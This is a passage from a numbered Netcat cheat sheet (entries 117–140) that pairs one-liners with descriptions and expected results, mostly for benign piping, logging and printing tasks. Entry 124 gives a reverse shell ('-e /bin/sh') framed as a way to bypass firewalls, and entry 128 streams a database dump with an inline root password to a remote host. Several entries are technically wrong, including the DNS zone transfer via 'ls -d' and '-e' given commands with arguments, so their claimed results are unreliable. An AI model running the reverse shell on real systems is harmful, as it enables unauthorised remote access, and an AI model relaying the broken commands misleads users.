   Expected Result: Alerts whenever the keyword 'error' is found in the data received on port 1234.
   
117. Netcat for Serial Port Communication
   Command: nc -lvp [port] > /dev/ttyS0; cat /dev/ttyS0 | nc [destination] [port]
   Description: Sends and receives data through a serial port using Netcat.
   Example: nc -lvp 1234 > /dev/ttyS0; cat /dev/ttyS0 | nc example.com 1234
   Expected Result: Communicates with a device connected to the serial port /dev/ttyS0 and relays data.
   
118. Netcat for IoT Device Interfacing
   Command: nc -lvp [port] -c 'python3 iot_script.py'
   Description: Interfaces with IoT devices by executing scripts upon connection.
   Example: nc -lvp 1234 -c 'python3 iot_script.py'
   Expected Result: Runs 'iot_script.py', interfacing with an IoT device, when a client connects.
   
119. Netcat with SoX for Audio Processing
   Command: nc -lvp [port] | sox -t .wav - effects | nc [destination] [port]
   Description: Processes audio data with SoX and forwards it.
   Example: nc -lvp 1234 | sox -t .wav - echo 0.8 0.9 1000 0.3 | nc example.com 5678
   Expected Result: Applies an echo effect to incoming audio and sends it to example.com:5678.
   
120. Netcat with ImageMagick for Image Processing
   Command: nc -lvp [port] | convert - -resize 50% - | nc [destination] [port]
   Description: Resizes images received and forwards them.
   Example: nc -lvp 1234 | convert - -resize 50% - | nc example.com 5678
   Expected Result: Resizes incoming images to 50% of their original size and sends them to example.com:5678.
   
121. Netcat with Bash for Advanced Scripting
   Command: nc -lvp [port] -e '/bin/bash -s' < script.sh
   Description: Executes an advanced bash script upon receiving a connection.
   Example: nc -lvp 1234 -e '/bin/bash -s' < script.sh
   Expected Result: Runs 'script.sh' using bash when a client connects to port 1234.
   
122. Netcat for DNS Zone Transfer
   Command: echo 'ls -d [zone]' | nc [DNS-server] 53
   Description: Attempts a DNS zone transfer.
   Example: echo 'ls -d example.com' | nc ns.example.com 53
   Expected Result: Tries to transfer the zone data for 'example.com' from ns.example.com.
   
123. Netcat with Awk for Data Analysis
   Command: nc -lvp [port] | awk '/pattern/ {action}'
   Description: Listens for data and performs real-time analysis using Awk.
   Example: nc -lvp 1234 | awk '/error/ {print "Error found"}'
   Expected Result: Prints "Error found" whenever the pattern 'error' is detected in incoming data.
   
124. Netcat for Bypassing Firewalls
   Command: nc -lvp [port] -e /bin/sh; nc [destination] [port] -e /bin/sh
   Description: Sets up a reverse shell to bypass firewall restrictions.
   Example: nc -lvp 4444 -e /bin/sh; nc 192.168.1.100 4444 -e /bin/sh
   Expected Result: Establishes a reverse shell between two systems, potentially bypassing firewalls.
   
125. Netcat for Network Speed Testing
   Command: nc -lvp [port] | pv -r > /dev/null; nc [destination] [port] < /dev/zero
   Description: Measures the network transfer speed between two hosts.
   Example: nc -lvp 1234 | pv -r > /dev/null; nc example.com 1234 < /dev/zero
   Expected Result: Shows the real-time data transfer rate to example.com on port 1234.
   
126. Netcat with OpenSSL for Encrypted Tunnels
   Command: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port [port]; nc --ssl [destination] [port]
   Description: Creates an encrypted tunnel using SSL.
   Example: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes; openssl s_server -quiet -key key.pem -cert cert.pem -port 1234; nc --ssl example.com 1234
   Expected Result: Sets up an SSL encrypted tunnel on port 1234 to example.com.
   
127. Netcat for MQTT Protocol Testing
   Command: mosquitto_pub -h [MQTT-server] -t 'test/topic' -m 'message' | nc [log-server] [log-port]
   Description: Tests MQTT protocol by publishing messages to a topic.
   Example: mosquitto_pub -h mqtt.example.com -t 'test/topic' -m 'Hello' | nc log.example.com 1234
   Expected Result: Publishes 'Hello' to 'test/topic' on mqtt.example.com and logs it.
   
128. Netcat for Database Backup Streaming
   Command: mysqldump -u [user] -p[password] [database] | nc [destination] [port]
   Description: Streams a database backup to a remote location.
   Example: mysqldump -u root -ppassword mydb | nc example.com 1234
   Expected Result: Streams a backup of 'mydb' to example.com on port 1234.
   
129. Netcat for Git Repository Cloning
   Command: git clone --bare [repo] repo.git; tar -czf - repo.git | nc [destination] [port]
   Description: Clones a Git repository and sends it over the network.
   Example: git clone --bare https://github.com/user/repo repo.git; tar -czf - repo.git | nc example.com 1234
   Expected Result: Clones 'repo' and sends it to example.com on port 1234.
   
130. Netcat for Remote Printer Management
   Command: nc [printer-IP] [printer-port] < print-job-file
   Description: Sends a print job to a network printer.
   Example: nc 192.168.1.50 9100 < document.ps
   Expected Result: Prints 'document.ps' on the printer at 192.168.1.50:9100.
   

131. Netcat for Remote Disk Usage Analysis
   Command: nc -lvp [port] -e 'df -h'
   Description: Analyzes and reports disk usage on a remote system.
   Example: nc -lvp 1234 -e 'df -h'
   Expected Result: Sends disk usage information to a client connected to port 1234.
   
132. Netcat with Python for JSON Data Processing
   Command: nc -lvp [port] | python -m json.tool
   Description: Formats and validates JSON data received over the network.
   Example: nc -lvp 1234 | python -m json.tool
   Expected Result: Formats incoming JSON data for readability and validation.
   
133. Netcat for Network Trace Routing
   Command: traceroute [destination] | nc [log-server] [log-port]
   Description: Performs a network trace route and logs the results.
   Example: traceroute example.com | nc log.example.com 1234
   Expected Result: Conducts a trace route to example.com and sends the results to log.example.com.
   
134. Netcat with Perl for Regex Processing
   Command: nc -lvp [port] | perl -pe 's/[regex]/[replacement]/g'
   Description: Uses Perl for real-time regular expression processing of incoming data.
   Example: nc -lvp 1234 | perl -pe 's/dog/cat/g'
   Expected Result: Replaces all occurrences of 'dog' with 'cat' in data received on port 1234.
   
135. Netcat for Remote System Temperature Monitoring
   Command: nc -lvp [port] -e 'sensors'
   Description: Monitors and reports the system temperature.
   Example: nc -lvp 1234 -e 'sensors'
   Expected Result: Sends system temperature information to a client connected to port 1234.
   
136. Netcat for Secure Shell Key Distribution
   Command: cat ~/.ssh/id_rsa.pub | nc [destination] [port]
   Description: Distributes an SSH public key to a remote host.
   Example: cat ~/.ssh/id_rsa.pub | nc example.com 1234
   Expected Result: Sends the user's public SSH key to example.com on port 1234.
   
137. Netcat for Remote Log File Tail
   Command: nc -lvp [port] -e 'tail -f /var/log/syslog'
   Description: Streams the end of a log file in real-time.
   Example: nc -lvp 1234 -e 'tail -f /var/log/syslog'
   Expected Result: Streams the latest entries from the syslog to a client on port 1234.
   
138. Netcat for Email Fetching with POP3
   Command: (echo 'USER [username]'; echo 'PASS [password]'; echo 'LIST'; echo 'QUIT') | nc [mail-server] 110
   Description: Retrieves email list from a POP3 server.
   Example: (echo 'USER user'; echo 'PASS pass'; echo 'LIST'; echo 'QUIT') | nc mail.example.com 110
   Expected Result: Logs into the POP3 server at mail.example.com and lists emails.
   
139. Netcat with Ruby for Script Execution
   Command: nc -lvp [port] -e 'ruby script.rb'
   Description: Executes a Ruby script upon receiving a network connection.
   Example: nc -lvp 1234 -e 'ruby script.rb'
   Expected Result: Runs 'script.rb' in Ruby when a client connects to port 1234.
   
140. Netcat for Streaming Media Files
   Command: nc -lvp [port] | mplayer -
   Description: Streams a media file to a player like mplayer.
   Example: nc -lvp 1234 | mplayer -
   Expected Result: Plays streaming media received on port 1234 using mplayer.